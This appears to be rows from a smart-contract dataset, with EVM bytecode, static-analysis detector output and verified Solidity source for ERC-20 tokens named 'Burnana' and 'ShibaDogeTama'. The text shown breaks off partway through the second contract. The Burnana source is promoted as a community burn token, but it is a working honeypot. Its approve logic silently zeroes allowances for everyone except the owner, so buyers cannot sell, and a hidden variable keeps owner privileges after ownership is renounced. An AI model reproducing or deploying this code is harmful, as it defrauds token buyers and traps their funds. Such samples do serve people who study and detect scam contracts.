600160a01b038316610f005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610500565b6001600160a01b038216610f615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610500565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610500565b6001600160a01b0382166110885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610500565b600081116110ea5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610500565b6001600160a01b03831660009081526005602052604090205460ff16156111925760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610500565b6001600160a01b03821660009081526005602052604090205460ff16156111b857600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156111fa57506001600160a01b03831660009081526004602052604090205460ff16155b80156112105750600c54600160a81b900460ff16155b80156112405750600c546001600160a01b03858116911614806112405750600c546001600160a01b038481169116145b1561141757600c54600160b81b900460ff1661129e5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610500565b50600c546001906001600160a01b0385811691161480156112cd5750600b546001600160a01b03848116911614155b80156112da575042600e54115b156113215760006112ea846106c0565b905061130a6064611304678ac7230489e800006002611537565b906115b6565b61131484836115f8565b111561131f57600080fd5b505b600d5442141561134f576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061135a306106c0565b600c54909150600160b01b900460ff161580156113855750600c546001600160a01b03868116911614155b1561141557801561141557600c546113b99060649061130490600f906113b3906001600160a01b03166106c0565b90611537565b8111156113e657600c546113e39060649061130490600f906113b3906001600160a01b03166106c0565b90505b60006113f38260046115b6565b90506113ff8183611cc3565b915061140a81611657565b61141382610d24565b505b505b61142384848484611687565b50505050565b6000818484111561144d5760405162461bcd60e51b81526004016105009190611970565b50600061145a8486611cc3565b95945050505050565b60006006548211156114ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610500565b60006114d461178a565b90506114e083826115b6565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261154657506000610533565b60006115528385611cda565b90508261155f8583611cf9565b146114e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610500565b60006114e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ad565b6000806116058385611c1d565b9050838110156114e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610500565b600c805460ff60b01b1916600160b01b1790556116773061dead83610fc2565b50600c805460ff60b01b19169055565b8080611695576116956117db565b6000806000806116a4876117f7565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116d1908561183e565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461170090846115f8565b6001600160a01b03891660009081526001602052604090205561172281611880565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161176791815260200190565b60405180910390a3505050508061178357611783600954600855565b5050505050565b60008060006117976118ca565b90925090506117a682826115b6565b9250505090565b600081836117ce5760405162461bcd60e51b81526004016105009190611970565b50600061145a8486611cf9565b6000600854116117ea57600080fd5b6008805460095560009055565b60008060008060008061180c8760085461190a565b91509150600061181a61178a565b905060008061182a8a8585611937565b909b909a5094985092965092945050505050565b60006114e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611429565b600061188a61178a565b905060006118988383611537565b306000908152600160205260409020549091506118b590826115f8565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118e582826115b6565b82101561190157505060065492678ac7230489e8000092509050565b90939092509050565b6000808061191d60646113048787611537565b9050600061192b868361183e565b96919550909350505050565b600080806119458685611537565b905060006119538686611537565b90506000611961838361183e565b92989297509195505050505050565b600060208083528351808285015260005b8181101561199d57858101830151858201604001528201611981565b818111156119af576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051f57600080fd5b80356119e5816119c5565b919050565b600080604083850312156119fd57600080fd5b8235611a08816119c5565b946020939093013593505050565b600080600060608486031215611a2b57600080fd5b8335611a36816119c5565b92506020840135611a46816119c5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a8057600080fd5b823567ffffffffffffffff80821115611a9857600080fd5b818501915085601f830112611aac57600080fd5b813581811115611abe57611abe611a57565b8060051b604051601f19603f83011681018181108582111715611ae357611ae3611a57565b604052918252848201925083810185019188831115611b0157600080fd5b938501935b82851015611b2657611b17856119da565b84529385019392850192611b06565b98975050505050505050565b600060208284031215611b4457600080fd5b81356114e0816119c5565b60008060408385031215611b6257600080fd5b8235611b6d816119c5565b91506020830135611b7d816119c5565b809150509250929050565b600060208284031215611b9a57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c1657611c16611bec565b5060010190565b60008219821115611c3057611c30611bec565b500190565b600060208284031215611c4757600080fd5b81516114e0816119c5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ca25784516001600160a01b031683529383019391830191600101611c7d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cd557611cd5611bec565b500390565b6000816000190483118215151615611cf457611cf4611bec565b500290565b600082611d1657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1b76f4f97721ac5942fb65a377a8e27ac9560f8c2afffbf0bf97c152a4b6dd364736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,002 |
0xc73db445bdca19be1b1f9be06b0afafb3680b9ff
|
/*
A community-driven project with the main goal of burning as much $NANA of the circulating
supply as possible. Burnana will keep on pumping non-stop by doing huge buybacks and burns
alongside with a huge marketing campaign.
🍌 ANTI-BOT 🤖 ❌
🍌 ANTI-SNIPE 🎯
🍌 HUGE MARKETING CAMPAIGN 💰
🍌 LIQUIDITY LOCK 3 MONTHS
TG: https://t.me/burnNana_official
Twitter: https://twitter.com/nana_erc20
Website: https://burnana.io/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Burnana is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'Burnana ' ;
string private _symbol = 'NANA ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200d6e733a1663717c51ca9103714b7095308d7e76282cd4c70c7e0953e32c431164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,003 |
0x416b9e1ef9e80028d7c849d9b708b9bf39200008
|
/**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
/*
* Telegram :
* Website :
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract ShibaDogeTama is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 public buyLiquidityFee = 3;
uint256 public sellLiquidityFee = 3;
uint256 public buyTxFee = 9;
uint256 private defaultBuyTxFee = 9;
uint256 public sellTxFee = 9;
uint256 public defaultSellLiquidityFee = 2;
uint256 public defaultSellTxFee = 10;
uint256 public hourSellLiquidityFee = 10;
uint256 public hourSellTxFee = 14;
uint256 public tokensForLiquidity;
uint256 public tokensForTax;
uint256 public _tTotal = 420069000000 * 10**9;
uint256 public swapAtAmount = _tTotal.mul(50).div(10000);
uint256 public maxTxLimit = _tTotal;
uint256 public maxWalletLimit = _tTotal;
address private dev;
address private liquidity;
address public uniswapV2Pair;
uint256 public launchBlock;
bool private swapping;
bool public isLaunched;
bool private cooldownEnabled = false;
bool private useBuyMap = true;
bool private nftGiveAwayActive = true;
bool private blacklistAllowed = true; //blacklist will be disabled forever after launch
uint256 private deadblocks;
uint256 public minSpendForNft = 5 * 10**17;
// exclude from fees
mapping (address => bool) public isExcludedFromFees;
// exclude from max transaction amount
mapping (address => bool) public isExcludedFromTxLimit;
// exclude from max wallet limit
mapping (address => bool) public isExcludedFromWalletLimit;
// if the account is blacklisted from transacting
mapping (address => bool) public isBlacklisted;
// buy map for timed sell tax
mapping (address => uint256) public _buyMap;
// mapping for cooldown
mapping (address => uint) public cooldown;
// mapping to add free nft mint for buyers more than 1 eth
mapping (address => bool) public nftGiveAways;
constructor() public ERC20("ShibaDogeTama", "TAMA") {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), type(uint256).max);
// exclude from fees, wallet limit and transaction limit
excludeFromAllLimits(owner(), true);
excludeFromAllLimits(address(this), true);
excludeFromWalletLimit(uniswapV2Pair, true);
dev = payable(0xA8D4C801E5194eEA821089E93110d79F9Fb19718);
liquidity = payable(msg.sender);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(owner(), _tTotal);
}
function excludeFromFees(address account, bool value) public onlyOwner() {
require(isExcludedFromFees[account] != value, "Fees: Already set to this value");
isExcludedFromFees[account] = value;
}
function excludeFromTxLimit(address account, bool value) public onlyOwner() {
require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value");
isExcludedFromTxLimit[account] = value;
}
function excludeFromWalletLimit(address account, bool value) public onlyOwner() {
require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value");
isExcludedFromWalletLimit[account] = value;
}
function excludeFromAllLimits(address account, bool value) public onlyOwner() {
excludeFromFees(account, value);
excludeFromTxLimit(account, value);
excludeFromWalletLimit(account, value);
}
function setBuyFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() {
require(liquidityFee.add(txFee) <= 12, "Total buy fee can not be more than 12");
buyLiquidityFee = liquidityFee;
defaultBuyTxFee = txFee;
buyTxFee = txFee;
}
function setSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() {
require(liquidityFee.add(txFee) <= 12, "Total default fee can not be more than 12");
sellLiquidityFee = liquidityFee;
sellTxFee = txFee;
defaultSellLiquidityFee = liquidityFee;
defaultSellTxFee = txFee;
}
function setHourSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() {
require(liquidityFee.add(txFee) <= 24, "Total default fee can not be more than 25");
hourSellLiquidityFee = liquidityFee;
hourSellTxFee = txFee;
}
